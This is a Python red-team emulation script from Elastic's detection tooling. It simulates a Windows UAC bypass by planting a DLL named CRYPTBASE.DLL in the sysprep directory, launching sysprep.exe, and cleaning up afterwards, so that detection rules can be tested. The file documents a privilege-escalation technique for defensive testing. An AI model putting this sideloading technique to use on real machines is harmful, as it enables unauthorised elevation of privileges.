sigma-rules/rta/uac_sysprep.py

# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.

# Name: Bypass UAC via Sysprep
# RTA: uac_sysprep.py
# ATT&CK: T1088
# Description: Use CRYPTBASE.dll opportunity to do Dll Sideloading with SysPrep for a UAC bypass


from . import common
from . import RtaMetadata


metadata = RtaMetadata(
    uuid="72e0a6ca-5b2d-48f6-9d6f-a879ace9cdae",
    platforms=["windows"],
    endpoint=[],
    siem=[],
    techniques=[]
)


@common.requires_os(*metadata.platforms)
def main():
    common.log("Bypass UAC with CRYPTBASE.dll")

    common.copy_file(
        "C:\\windows\\system32\\kernel32.dll",
        "C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL",
    )
    common.execute(["C:\\Windows\\system32\sysprep\\sysprep.exe"], timeout=5, kill=True)
    common.remove_file("C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL")


if __name__ == "__main__":
    exit(main())